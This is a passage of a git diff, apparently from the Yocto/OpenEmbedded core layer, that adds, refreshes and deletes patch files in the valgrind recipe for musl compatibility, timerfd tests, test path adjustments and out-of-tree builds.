+therefore disable it.
+
+Fixes
+| error : Resource temporarily unavailable
+| ../callgrind/docs/cl-manual.xml:4: warning: failed to load external entity "http://www.oasis-open.org/docbook/xml/4.5/docbookx.dtd"
+| <!ENTITY % vg-entities SYSTEM "../../docs/xml/vg-entities.xml"> %vg-entities; ]
+
+Upstream-Status: Inappropriate [OE-Specific]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ docs/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/docs/Makefile.am b/docs/Makefile.am
+index d4250e8..c500306 100644
+--- a/docs/Makefile.am
++++ b/docs/Makefile.am
+@@ -192,7 +192,7 @@ valid-manpages: $(MANPAGES_XML_FILES)
+ touch $@; \
+ fi
+
+-check-local: valid-manual valid-manpages
++check-local:
+
+ # The text version of the FAQ.
+ FAQ.txt:
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-tests-Fix-timerfd-syscall-test.patch b/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-tests-Fix-timerfd-syscall-test.patch
new file mode 100644
index 0000000000..15fbbe954f
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-tests-Fix-timerfd-syscall-test.patch
@@ -0,0 +1,98 @@
+From 5d411fd147d652e9d7bb259f4048693c6e4742aa Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Mon, 9 Mar 2020 16:30:19 -0700
+Subject: [PATCH] memcheck/tests: Fix timerfd syscall test
+
+modern libc provides these functions, moreover this also ensures that we
+are 64bit time_t safe. Fallback to existing definitions if libc does not
+have the implementation or syscall is not defined
+
+Upstream-Status: Submitted [https://sourceforge.net/p/valgrind/mailman/message/36943897/]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ config.h.in | 9 +++++++++
+ configure.ac | 3 +++
+ memcheck/tests/linux/timerfd-syscall.c | 10 ++++++++--
+ 5 files changed, 32 insertions(+), 2 deletions(-)
+
+--- a/config.h.in
++++ b/config.h.in
+@@ -301,6 +301,9 @@
+ /* Define to 1 if you have the <sys/sysnvl.h> header file. */
+ #undef HAVE_SYS_SYSNVL_H
+
++/* Define to 1 if you have the <sys/timerfd.h> header file. */
++#undef HAVE_SYS_TIMERFD_H
++
+ /* Define to 1 if you have the <sys/time.h> header file. */
+ #undef HAVE_SYS_TIME_H
+
+--- a/configure.ac
++++ b/configure.ac
+@@ -4098,6 +4098,7 @@ AC_CHECK_HEADERS([ \
+ sys/syscall.h \
+ sys/sysnvl.h \
+ sys/time.h \
++ sys/timerfd.h \
+ sys/types.h \
+ ])
+
+--- a/memcheck/tests/linux/timerfd-syscall.c
++++ b/memcheck/tests/linux/timerfd-syscall.c
+@@ -45,6 +45,9 @@
+ #if defined(HAVE_SYS_TIME_H)
+ #include <sys/time.h>
+ #endif
++#if defined(HAVE_SYS_TIMERFD_H)
++#include <sys/timerfd.h>
++#endif
+ #if defined(HAVE_SYS_TYPES_H)
+ #include <sys/types.h>
+ #endif
+@@ -54,7 +57,8 @@
+ * timerfd_* system call numbers introduced in 2.6.23. These constants are
+ * not yet in the glibc 2.7 headers, that is why they are defined here.
+ */
+-#ifndef __NR_timerfd_create
++#if !defined(HAVE_SYS_TIMERFD_H)
++#if !defined(__NR_timerfd_create)
+ #if defined(__x86_64__)
+ #define __NR_timerfd_create 283
+ #elif defined(__i386__)
+@@ -67,8 +71,10 @@
+ #error Cannot detect your architecture!
+ #endif
+ #endif
++#endif
+
+-#ifndef __NR_timerfd_settime
++#if !defined(HAVE_SYS_TIMERFD_H)
++#if !defined(__NR_timerfd_settime)
+ #if defined(__x86_64__)
+ #define __NR_timerfd_settime 286
+ #define __NR_timerfd_gettime 287
+@@ -85,7 +91,7 @@
+ #error Cannot detect your architecture!
+ #endif
+ #endif
+-
++#endif
+
+
+ /* Definitions from include/linux/timerfd.h */
+@@ -127,6 +133,7 @@ void set_timespec(struct timespec *tmr,
+ tmr->tv_nsec = (long) (1000ULL * (ustime % 1000000ULL));
+ }
+
++#if !defined(HAVE_SYS_TIMERFD_H)
+ int timerfd_create(int clockid, int flags)
+ {
+ return syscall(__NR_timerfd_create, clockid, flags);
+@@ -142,6 +149,7 @@ int timerfd_gettime(int ufc, struct itim
+ {
+ return syscall(__NR_timerfd_gettime, ufc, otmr);
+ }
++#endif
+
+ long waittmr(int tfd, int timeo)
+ {
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-vgtests-remove-fullpath-after-flags.patch b/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-vgtests-remove-fullpath-after-flags.patch
new file mode 100644
index 0000000000..dce8b52ba3
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-memcheck-vgtests-remove-fullpath-after-flags.patch
@@ -0,0 +1,42 @@
+From 3ff82dcb844f98dbf67c69f11f6516bc234725a9 Mon Sep 17 00:00:00 2001
+From: Stacy Gaikovaia <Stacy.Gaikovaia@windriver.com>
+Date: Wed, 16 Sep 2020 13:45:07 -0400
+Subject: [PATCH] memcheck vgtests remove fullpath-after flags
+
+Test executables produced when cross-compiling can contain
+relative paths containing version number, such as:
+ coregrind/tests/../../../valgrind-3.16.1/coregrind
+
+Remove the --fullpath-after option so yocto project doesn't
+have to upgrade patch every valgrind uprev. Upgrade test stderr
+paths in corresponding tests .bb script.
+
+Upstream-Status: Inappropriate [embedded specific]
+
+Signed-off-by: Stacy Gaikovaia <Stacy.Gaikovaia@windriver.com>
+---
+ memcheck/tests/badfree3.vgtest | 2 +-
+ memcheck/tests/varinfo5.vgtest | 2 +-
+ 2 files changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/memcheck/tests/badfree3.vgtest b/memcheck/tests/badfree3.vgtest
+index 3dfc5fd8a..4ee03f00a 100644
+--- a/memcheck/tests/badfree3.vgtest
++++ b/memcheck/tests/badfree3.vgtest
+@@ -1,3 +1,3 @@
+ prog: badfree
+-vgopts: -q --fullpath-after=memcheck/ --fullpath-after=coregrind/
++vgopts: -q
+ stderr_filter_args: badfree.c
+diff --git a/memcheck/tests/varinfo5.vgtest b/memcheck/tests/varinfo5.vgtest
+index 063d00dce..79c4a72a4 100644
+--- a/memcheck/tests/varinfo5.vgtest
++++ b/memcheck/tests/varinfo5.vgtest
+@@ -1,3 +1,3 @@
+ prog: varinfo5
+-vgopts: --fullpath-after=memcheck/ --fullpath-after=coregrind/ --read-var-info=yes --read-inline-info=yes -q
++vgopts: --read-var-info=yes --read-inline-info=yes -q
+ stderr_filter: filter_varinfo3
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch b/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch
new file mode 100644
index 0000000000..e421ac6c80
--- /dev/null
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch
@@ -0,0 +1,34 @@
+From f405297d3382cd98391d02f397e2387da1f42879 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Fri, 24 Jan 2020 17:55:39 +0100
+Subject: [PATCH] none/tests/fdleak_cmsg.stderr.exp: adjust /tmp paths
+
+In oe-core, /tmp is linked to /var/volatile/tmp and
+valgrind output changes accordingly
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ none/tests/fdleak_cmsg.stderr.exp | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/none/tests/fdleak_cmsg.stderr.exp b/none/tests/fdleak_cmsg.stderr.exp
+index 6e5a797b9..0ede1ab18 100644
+--- a/none/tests/fdleak_cmsg.stderr.exp
++++ b/none/tests/fdleak_cmsg.stderr.exp
+@@ -25,10 +25,10 @@ Open file descriptor ...: /dev/null
+
+
+ FILE DESCRIPTORS: 6 open (3 std) at exit.
+-Open file descriptor ...: /tmp/data2
++Open file descriptor ...: ...
+ ...
+
+-Open file descriptor ...: /tmp/data1
++Open file descriptor ...: ...
+ ...
+
+ Open AF_UNIX socket ...: <unknown>
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch b/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch
index 185b8f9e60..8f771ed0bd 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch
@@ -1,4 +1,4 @@
-From de692e359801a1f0488c76267e4f904dd2efe754 Mon Sep 17 00:00:00 2001
+From 568224da7e647d00abf14a7160997689d9745c89 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 10 Jun 2017 00:39:07 -0700
Subject: [PATCH] str_tester.c: Limit rawmemchr() test to glibc
@@ -6,34 +6,30 @@ Subject: [PATCH] str_tester.c: Limit rawmemchr() test to glibc
rawmemchr() is a GNU extention therefore mark it so
Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
Upstream-Status: Pending
-
+---
memcheck/tests/str_tester.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/memcheck/tests/str_tester.c b/memcheck/tests/str_tester.c
-index 9f7790a..47e4b4a 100644
+index 7c2ff1e..8b82ced 100644
--- a/memcheck/tests/str_tester.c
+++ b/memcheck/tests/str_tester.c
@@ -504,7 +504,7 @@ test_strchrnul (void)
#endif
// DDD: better done by testing for the function.
--#if !defined(__APPLE__) && !defined(__sun)
-+#if !defined(__APPLE__) && !defined(__sun) && defined(__GLIBC__)
+-#if !defined(__APPLE__) && !defined(__sun) && !defined(__FreeBSD__)
++#if !defined(__APPLE__) && !defined(__sun) && !defined(__FreeBSD__) && defined(__GLIBC__)
static void
test_rawmemchr (void)
{
-@@ -1442,7 +1442,7 @@ main (void)
+@@ -1451,7 +1451,7 @@ main (void)
test_strchrnul ();
# endif
--# if !defined(__APPLE__) && !defined(__sun)
-+# if !defined(__APPLE__) && !defined(__sun) && defined(__GLIBC__)
+-# if !defined(__APPLE__) && !defined(__sun) && !defined(__FreeBSD__)
++# if !defined(__APPLE__) && !defined(__sun) && !defined(__FreeBSD__) && defined(__GLIBC__)
/* rawmemchr. */
test_rawmemchr ();
# endif
---
-2.13.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch b/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch
index 480fe33247..7f0e38cb95 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch
@@ -1,18 +1,58 @@
-From bd4e926e7e14747b3cd4d7b2a1bd5410b22f3ea2 Mon Sep 17 00:00:00 2001
+From 26c104adf6c5162572b7aa2fac89d0835b7f8f0b Mon Sep 17 00:00:00 2001
From: Randy MacLeod <Randy.MacLeod@windriver.com>
Date: Tue, 16 Oct 2018 21:27:46 -0400
Subject: [PATCH] context APIs are not available on musl
-Upstream-Status: Pending
-
Updated patch for valgrind-3.14
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
+
+Apply same patch to drd/tests/swapcontext.c
+for valgrind-3.17.
+
+Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=434775]
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
---
+ drd/tests/swapcontext.c | 6 ++++++
memcheck/tests/linux/stack_changes.c | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
+ 2 files changed, 12 insertions(+), 1 deletion(-)
+diff --git a/drd/tests/swapcontext.c b/drd/tests/swapcontext.c
+index 622c70bc5..5e72bb0f3 100644
+--- a/drd/tests/swapcontext.c
++++ b/drd/tests/swapcontext.c
+@@ -20,6 +20,7 @@
+
+ #define STACKSIZE (PTHREAD_STACK_MIN + 4096)
+
++#ifdef __GLIBC__
+ typedef struct thread_local {
+ ucontext_t uc[3];
+ size_t nrsw;
+@@ -67,9 +68,11 @@ void *worker(void *data)
+ swapcontext(&tlocal->uc[0], &tlocal->uc[1]);
+ return NULL;
+ }
++#endif
+
+ int main(int argc, char *argv[])
+ {
++#ifdef __GLIBC__
+ enum { NR = 32 };
+ thread_local_t tlocal[NR];
+ pthread_t thread[NR];
+@@ -94,6 +97,9 @@ int main(int argc, char *argv[])
+
+ for (i = 0; i < NR; i++)
+ pthread_join(thread[i], NULL);
++#else
++ printf("libc context call APIs e.g. getcontext() are deprecated by posix\n");
++#endif
+
+ return 0;
+ }
diff --git a/memcheck/tests/linux/stack_changes.c b/memcheck/tests/linux/stack_changes.c
index 7f97b90a5..a26cb4ae6 100644
--- a/memcheck/tests/linux/stack_changes.c
@@ -48,5 +88,5 @@ index 7f97b90a5..a26cb4ae6 100644
return 0;
}
--
-2.17.0
+2.17.1
diff --git a/meta/recipes-devtools/valgrind/valgrind/0002-valgrind-adjust-std_list-expected-output.patch b/meta/recipes-devtools/valgrind/valgrind/0002-valgrind-adjust-std_list-expected-output.patch
deleted file mode 100644
index a82972ec1b..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0002-valgrind-adjust-std_list-expected-output.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From 6e1e9265b03cf51d09c028d657fe826d7156a783 Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Mon, 13 May 2019 17:26:26 -0400
-Subject: [PATCH 2/2] valgrind: adjust std_list expected output
-
-The run-ptest script uses a custom --yocto-ptest option
-to change the summary statistics that valgrind issues
-to a format that matches what ptest-runner expects.
-
-Only this std_list test which checks that strcpy() works
-properly on Ubuntu-12.04 and later is affected by this change.
-It's normal output when called with --yocto-ptest is a blank
-line so adjust the expected output.
-
-Upstream-Status: Inappropriate [Yocto specific]
-
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
----
- drd/tests/std_list.stderr.exp | 2 --
- 1 file changed, 2 deletions(-)
-
-diff --git a/drd/tests/std_list.stderr.exp b/drd/tests/std_list.stderr.exp
-index d18786f80..8b1378917 100644
---- a/drd/tests/std_list.stderr.exp
-+++ b/drd/tests/std_list.stderr.exp
-@@ -1,3 +1 @@
-
--
--ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
---
-2.17.0
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch b/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch
index 75bb0aa7cb..9a25b67961 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0004-Fix-out-of-tree-builds.patch
@@ -1,96 +1,98 @@
-From 8f916dcb395fe5a2429f2867ba4daf8ef3af073a Mon Sep 17 00:00:00 2001
+From 59e3190e9121c5439d54298b083b44c5c3794a7f Mon Sep 17 00:00:00 2001
From: Randy MacLeod <Randy.MacLeod@windriver.com>
Date: Tue, 16 Oct 2018 21:01:04 -0400
Subject: [PATCH] Fix out of tree builds.
The paths to these files need to be fully specified in
-the out of tree build case. glibc-2.X.supp is a generated file so the full path
+the out of tree build case. glibc-2.X.supp is a generated file so the
+full path
is deliberately not specified in that case.
RP 2013/03/23
Patch refreshed for valgrind-3.14.0.
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=445211]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
+
---
- configure.ac | 68 ++++++++++++++++++++++++++--------------------------
- 1 file changed, 34 insertions(+), 34 deletions(-)
+ configure.ac | 62 ++++++++++++++++++++++++++--------------------------
+ 1 file changed, 31 insertions(+), 31 deletions(-)
diff --git a/configure.ac b/configure.ac
-index c18ae5f2a..99667ce57 100644
+index b851798..d360896 100755
--- a/configure.ac
+++ b/configure.ac
-@@ -392,50 +392,50 @@ case "${host_os}" in
+@@ -447,50 +447,50 @@ case "${host_os}" in
9.*)
AC_MSG_RESULT([Darwin 9.x (${kernel}) / Mac OS X 10.5 Leopard])
AC_DEFINE([DARWIN_VERS], DARWIN_10_5, [Darwin / Mac OS X version])
- DEFAULT_SUPP="darwin9.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="darwin9-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin9.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin9-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin9.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin9-drd.supp ${DEFAULT_SUPP}"
;;
10.*)
AC_MSG_RESULT([Darwin 10.x (${kernel}) / Mac OS X 10.6 Snow Leopard])
AC_DEFINE([DARWIN_VERS], DARWIN_10_6, [Darwin / Mac OS X version])
- DEFAULT_SUPP="darwin10.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin10.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
;;
11.*)
AC_MSG_RESULT([Darwin 11.x (${kernel}) / Mac OS X 10.7 Lion])
AC_DEFINE([DARWIN_VERS], DARWIN_10_7, [Darwin / Mac OS X version])
- DEFAULT_SUPP="darwin11.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin11.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin11.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
;;
12.*)
AC_MSG_RESULT([Darwin 12.x (${kernel}) / Mac OS X 10.8 Mountain Lion])
AC_DEFINE([DARWIN_VERS], DARWIN_10_8, [Darwin / Mac OS X version])
- DEFAULT_SUPP="darwin12.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin12.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin12.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
;;
13.*)
AC_MSG_RESULT([Darwin 13.x (${kernel}) / Mac OS X 10.9 Mavericks])
AC_DEFINE([DARWIN_VERS], DARWIN_10_9, [Darwin / Mac OS X version])
- DEFAULT_SUPP="darwin13.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin13.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin13.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
;;
14.*)
AC_MSG_RESULT([Darwin 14.x (${kernel}) / Mac OS X 10.10 Yosemite])
AC_DEFINE([DARWIN_VERS], DARWIN_10_10, [Darwin / Mac OS X version])
- DEFAULT_SUPP="darwin14.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin14.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin14.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
;;
15.*)
AC_MSG_RESULT([Darwin 15.x (${kernel}) / Mac OS X 10.11 El Capitan])
AC_DEFINE([DARWIN_VERS], DARWIN_10_11, [Darwin / Mac OS X version])
- DEFAULT_SUPP="darwin15.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin15.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin15.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
;;
16.*)
AC_MSG_RESULT([Darwin 16.x (${kernel}) / macOS 10.12 Sierra])
AC_DEFINE([DARWIN_VERS], DARWIN_10_12, [Darwin / Mac OS X version])
- DEFAULT_SUPP="darwin16.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="darwin10-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin16.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin16.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/darwin10-drd.supp ${DEFAULT_SUPP}"
;;
17.*)
AC_MSG_RESULT([Darwin 17.x (${kernel}) / macOS 10.13 High Sierra])
-@@ -460,7 +460,7 @@ case "${host_os}" in
+@@ -515,7 +515,7 @@ case "${host_os}" in
DEFAULT_SUPP="solaris12.supp ${DEFAULT_SUPP}"
;;
*)
@@ -99,7 +101,7 @@ index c18ae5f2a..99667ce57 100644
;;
esac
;;
-@@ -468,7 +468,7 @@ case "${host_os}" in
+@@ -523,7 +523,7 @@ case "${host_os}" in
solaris2.12*)
AC_MSG_RESULT([ok (${host_os})])
VGCONF_OS="solaris"
@@ -108,58 +110,51 @@ index c18ae5f2a..99667ce57 100644
;;
*)
-@@ -1051,29 +1051,29 @@ AC_MSG_CHECKING([the glibc version])
+@@ -1237,15 +1237,15 @@ AC_MSG_CHECKING([the glibc version])
case "${GLIBC_VERSION}" in
2.2)
AC_MSG_RESULT(${GLIBC_VERSION} family)
- DEFAULT_SUPP="glibc-2.2.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="glibc-2.2-LinuxThreads-helgrind.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.2.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.2-LinuxThreads-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.2.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.2-LinuxThreads-helgrind.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
;;
2.[[3-6]])
AC_MSG_RESULT(${GLIBC_VERSION} family)
- DEFAULT_SUPP="glibc-${GLIBC_VERSION}.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
+- DEFAULT_SUPP="glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-${GLIBC_VERSION}.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-${GLIBC_VERSION}.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
;;
2.[[7-9]])
AC_MSG_RESULT(${GLIBC_VERSION} family)
- DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
- ;;
- 2.10|2.11)
- AC_MSG_RESULT(${GLIBC_VERSION} family)
+@@ -1258,8 +1258,8 @@ case "${GLIBC_VERSION}" in
AC_DEFINE([GLIBC_MANDATORY_STRLEN_REDIRECT], 1,
[Define to 1 if strlen() has been optimized heavily (amd64 glibc >= 2.10)])
DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
+- DEFAULT_SUPP="glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
;;
2.*)
AC_MSG_RESULT(${GLIBC_VERSION} family)
-@@ -1082,8 +1082,8 @@ case "${GLIBC_VERSION}" in
+@@ -1268,8 +1268,8 @@ case "${GLIBC_VERSION}" in
AC_DEFINE([GLIBC_MANDATORY_INDEX_AND_STRLEN_REDIRECT], 1,
[Define to 1 if index() and strlen() have been optimized heavily (x86 glibc >= 2.12)])
DEFAULT_SUPP="glibc-2.X.supp ${DEFAULT_SUPP}"
-- DEFAULT_SUPP="glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
+- DEFAULT_SUPP="glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
- DEFAULT_SUPP="glibc-2.X-drd.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.34567-NPTL-helgrind.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-helgrind.supp ${DEFAULT_SUPP}"
++ DEFAULT_SUPP="$srcdir/glibc-2.X-drd.supp ${DEFAULT_SUPP}"
;;
darwin)
AC_MSG_RESULT(Darwin)
-@@ -1093,7 +1093,7 @@ case "${GLIBC_VERSION}" in
+@@ -1284,7 +1284,7 @@ case "${GLIBC_VERSION}" in
bionic)
AC_MSG_RESULT(Bionic)
AC_DEFINE([BIONIC_LIBC], 1, [Define to 1 if you're using Bionic])
@@ -168,7 +163,7 @@ index c18ae5f2a..99667ce57 100644
;;
solaris)
AC_MSG_RESULT(Solaris)
-@@ -1120,11 +1120,11 @@ if test "$VGCONF_OS" != "solaris"; then
+@@ -1313,8 +1313,8 @@ if test "$VGCONF_OS" != "solaris"; then
# attempt to detect whether such libraries are installed on the
# build machine (or even if any X facilities are present); just
# add the suppressions antidisirregardless.
@@ -176,13 +171,6 @@ index c18ae5f2a..99667ce57 100644
- DEFAULT_SUPP="xfree-3.supp ${DEFAULT_SUPP}"
+ DEFAULT_SUPP="$srcdir/xfree-4.supp ${DEFAULT_SUPP}"
+ DEFAULT_SUPP="$srcdir/xfree-3.supp ${DEFAULT_SUPP}"
-
- # Add glibc and X11 suppressions for exp-sgcheck
-- DEFAULT_SUPP="exp-sgcheck.supp ${DEFAULT_SUPP}"
-+ DEFAULT_SUPP="$srcdir/exp-sgcheck.supp ${DEFAULT_SUPP}"
fi
---
-2.17.0
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0004-pth_atfork1.c-Define-error-API-for-musl.patch b/meta/recipes-devtools/valgrind/valgrind/0004-pth_atfork1.c-Define-error-API-for-musl.patch
deleted file mode 100644
index 1cb7062545..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0004-pth_atfork1.c-Define-error-API-for-musl.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From fb77fef4f866dac7bcc6d1ae025da60564869f84 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 10 Jun 2017 01:06:11 -0700
-Subject: [PATCH 4/6] pth_atfork1.c: Define error() API for musl
-
